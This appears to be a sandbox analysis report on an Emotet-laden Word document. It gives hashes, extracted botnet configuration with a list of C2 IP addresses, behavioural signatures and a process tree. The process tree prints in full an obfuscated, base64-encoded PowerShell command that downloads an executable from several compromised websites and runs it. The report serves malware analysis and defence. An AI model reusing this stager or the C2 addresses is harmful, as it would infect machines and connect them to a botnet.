Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    86s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/10/2020, 15:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_d5a72b72b44586b287fb659e24ee0d42fac36ab12dec6c8271755a79b34e7f62_2020-10-19__155203381370._doc.doc
  • Size 153KB
  • Sample201019-plltpxxece
  • SHA256 d5a72b72b44586b287fb659e24ee0d42fac36ab12dec6c8271755a79b34e7f62
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 173.63.117.194:80

  • 212.71.250.88:8080

  • 167.114.153.111:8080

  • 118.83.154.64:443

  • 5.39.91.110:7080

  • 5.196.74.210:8080

  • 174.45.13.118:80

  • 5.196.108.189:8080

  • 85.25.106.204:8080

  • 89.216.122.92:80

  • 142.112.10.95:20

  • 110.145.77.103:80

  • 37.139.21.175:8080

  • 62.30.7.67:443

  • 209.54.13.14:80

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 113.61.66.94:80

  • 162.241.242.173:8080

  • 49.3.224.99:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d5a72b72b44586b287fb659e24ee0d42fac36ab12dec6c8271755a79b34e7f62_2020-10-19__155203381370._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1100
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAFMAZQB0AC0AaQBUAGUATQAgACAAKAAnAHYAQQByAEkAJwArACcAQQBiACcAKwAnAGwAJwArACcAZQA6AFYAMgBvACcAKQAgACAAKABbAHQAWQBwAGUAXQAoACcAcwBZAFMAVABFAE0ALgBpAG8AJwArACcALgBkAGkAJwArACcAUgBlAGMAJwArACcAVABvAFIAeQAnACkAKQA7ACAAJAAwADUARABiACAAPQAgAFsAdABZAHAARQBdACgAJwBzAFkAUwAnACsAJwB0AEUAJwArACcATQAuACcAKwAnAE4ARQBUAC4AJwArACcAcwBFAHIAdgAnACsAJwBpAGMARQBwAE8AaQBuACcAKwAnAFQAJwArACcATQBBAG4AYQBHACcAKwAnAEUAcgAnACkAIAA7ACAAUwBFAHQALQBJAFQAZQBtACAAIABWAGEAUgBJAEEAYgBsAGUAOgAxAEYAOQB4AFEAcAAgACAAKAAgAFsAdABZAFAAZQBdACgAJwBTAFkAUwAnACsAJwB0AEUAbQAuACcAKwAnAG4ARQB0AC4AJwArACcAcwBlAEMAVQBSAGkAVAAnACsAJwBZAFAAJwArACcAUgBvAHQAJwArACcATwBDAG8ATAB0AFkAJwArACcAcABlACcAKQApACAAOwAgACQATABpAGMAZABqAHAAMgA9ACgAJwBEAGkAJwArACcAMQBsAHQAMQBpACcAKQA7ACQAQQBzAGEAcQA2AHoAMwA9ACQARgBkAGwAdQBwAG4ANgAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEoAOABnAGIAZQBxAGwAOwAkAE4AYQBfAHcAdwB5AGUAPQAoACcAVwBvAF8ANAB1ACcAKwAnAHMAaAAnACkAOwAgACAAJABWADIATwA6ADoAQwByAEUAYQB0AEUARABpAHIARQBDAFQATwByAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHYAdwBrACcAKwAnAEEAdwAnACsAJwBjAGUAYgBrADUAdgAnACsAJwB3AGsAJwArACcAWQBiADkAMQAxAGsAXwB2ACcAKwAnAHcAawAnACkALQBjAHIARQBwAGwAQQBjAGUAIAAoAFsAQwBIAGEAUgBdADEAMQA4ACsAWwBDAEgAYQBSAF0AMQAxADkAKwBbAEMASABhAFIAXQAxADAANwApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAVQB1AHMAdwBfAHEAdgA9ACgAJwBLAGEAMQAnACsAJwBtAGoAegB1ACcAKQA7ACAAKAAgAGcAZQBUAC0AYwBoAGkATABkAEkAVABlAG0AIAAgACgAJwBWAGEAcgAnACsAJwBJAEEAJwArACcAYgAnACsAJwBsAGUAJwArACcAOgAwADUAZABiACcAKQAgACkALgB2AGEATABVAGUAOgA6AHMARQBjAHUAUgBpAHQAeQBwAFIAbwB0AE8AQwBPAGwAIAA9ACAAIAAgACQAMQBGADkAWABRAHAAOgA6AFQAbABTADEAMgA7ACQAWABhADQAcwAyAHcAMgA9ACgAJwBaACcAKwAnADEAegBhAG4AYgB0ACcAKQA7ACQASQBoAHgAZgBjAGIAZwAgAD0AIAAoACcAUwA5ACcAKwAnAGoAdQAwAHoAJwArACcAMgBjAHAAJwApADsAJABGAHYAMAAzAG0AZwA1AD0AKAAnAFgAdQB6ADEAcwAnACsAJwBnADQAJwApADsAJABRAGoAMwB1ADIAbgBzAD0AKAAnAFEAbABxAGEAJwArACcAMQBpAGoAJwApADsAJABCAF8AcgBsAGYAcgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGwAcgBVAEEAdwAnACsAJwBjACcAKwAnAGUAJwArACcAYgBrADUAJwArACcAbAByAFUAWQBiACcAKwAnADkAMQAxAGsAJwArACcAXwBsAHIAVQAnACkALgByAGUAUABMAEEAQwBFACgAKABbAGMAaABhAHIAXQAxADAAOAArAFsAYwBoAGEAcgBdADEAMQA0ACsAWwBjAGgAYQByAF0AOAA1ACkALAAnAFwAJwApACkAKwAkAEkAaAB4AGYAYwBiAGcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEIANgBvAGYAdwBpAG8APQAoACcARQBjAGYAJwArACcAXwBnACcAKwAnAF8AcQAnACkAOwAkAEcAZQBlAF8AMQBoAHcAPQBOAEUAdwBgAC0AbwBiAGoAZQBgAGMAVAAgAE4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAFQAOwAkAE0AMABlAHAAbAA4AHUAPQAoACcAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAHoAJwArACcAYQBtAGkAbgBkAGEAcgBzAG8AbgBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAJwArACcAbgAnACsAJwB0AC8AdgA3AFQAJwArACcAawAnACsAJwAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoALwAvAHAAaAB5AHMAaQBjAGkAYQBuAG0AJwArACcAZQBkAGkAYwAnACsAJwBhAGwALQAnACsAJwBsAGUAZwAnACsAJwBhAGwAYwBvAG4AJwArACcAcwB1ACcAKwAnAGwAdABpAG4AZwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAHAAawAwAG0ATwBMADkALwAqACcAKwAnAGgAdAB0AHAAcwAnACsAJwA6AC8ALwBzACcAKwAnAGgAbwAnACsAJwBlAHMAZABlAHMAaQBnAG4AJwArACcALgBuAGUAJwArACcAdAAnACsAJwAvAHcAcAAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAvACcAKwAnADUAVABWADMAQQBTAC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAZQByACcAKwAnAHIAaQBhAGYAaQB0ACcAKwAnAC4AYwBvAG0ALwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8ANgBqAC8AJwArACcAKgBoAHQAdABwADoALwAvADEAMwBkACcAKwAnAGkAZwBpAC4AbgBlAHQALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQAnACsAJwBpAG4ALwBqAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGkAcwBwAGkAbgA4ADgALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAEIATABqACcAKwAnADEANAAnACsAJwA5AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAvAHAAcwBrAGgAOAA4ADgALgAnACsAJwBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAvAHcALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AYgBlAHIAagBhAHkAYQAnACsAJwA4ADgAJwArACcALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvAFgAMgBUAEIAYwAyAGwAJwArACcALwAnACkALgBTAHAAbABJAFQAKAAkAFQAYQBjAHIAbAA3AGYAIAArACAAJABBAHMAYQBxADYAegAzACAAKwAgACQAQwBkAGUAYQAxADUAdgApADsAJABIADAAeAB4ADQAeABsAD0AKAAnAFcAJwArACcAagBvAHoAaAB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGwAawAyADUAdABmACAAaQBuACAAJABNADAAZQBwAGwAOAB1ACkAewB0AHIAeQB7ACQARwBlAGUAXwAxAGgAdwAuAEQATwB3AG4AbABvAEEAZABGAGkAbABFACgAJABTAGwAawAyADUAdABmACwAIAAkAEIAXwByAGwAZgByAHMAKQA7ACQAVwBuAGoAegBmADQAcAA9ACgAJwBTAHQAYwBzAGQAJwArACcAbgAzACcAKQA7AEkAZgAgACgAKABnAEUAYABUAGAALQBpAFQAZQBtACAAJABCAF8AcgBsAGYAcgBzACkALgBsAEUAbgBnAHQASAAgAC0AZwBlACAAMgA5ADMAMwAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AUAByACcAKwAnAG8AYwBlAHMAJwArACcAcwAnACkAKQAuAEMAUgBlAGEAdABlACgAJABCAF8AcgBsAGYAcgBzACkAOwAkAE0AegBoAG4ANABrAGQAPQAoACcAUQB3AGIAcwByAHkAJwArACcAdgAnACkAOwBiAHIAZQBhAGsAOwAkAE0AZgBuAHUANwB0AHIAPQAoACcATAA4AGoAdgA1ACcAKwAnAGwAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAaAAyADUAcQBsAGMAPQAoACcARQAnACsAJwBfAHMAaABuADEAagAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1584
  • C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
    C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:976
    • C:\Windows\SysWOW64\amstream\recover.exe
      "C:\Windows\SysWOW64\amstream\recover.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:624

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/624-25-0x00000000003F0000-0x0000000000400000-memory.dmp
        Download

        memory/976-18-0x0000000000290000-0x00000000002A0000-memory.dmp
        Download

        memory/1100-4-0x0000000006F00000-0x0000000007100000-memory.dmp
        Download

        memory/1100-2-0x0000000008BD0000-0x0000000008BD4000-memory.dmp
        Download

        memory/1120-26-0x000007FEF67E0000-0x000007FEF6A5A000-memory.dmp
        Download

        memory/1584-9-0x000000001AC40000-0x000000001AC41000-memory.dmp
        Download

        memory/1584-13-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1584-12-0x000000001C2D0000-0x000000001C2D1000-memory.dmp
        Download

        memory/1584-11-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1584-10-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1584-8-0x0000000002420000-0x0000000002421000-memory.dmp
        Download

        memory/1584-7-0x000007FEF1A30000-0x000007FEF241C000-memory.dmp
        Download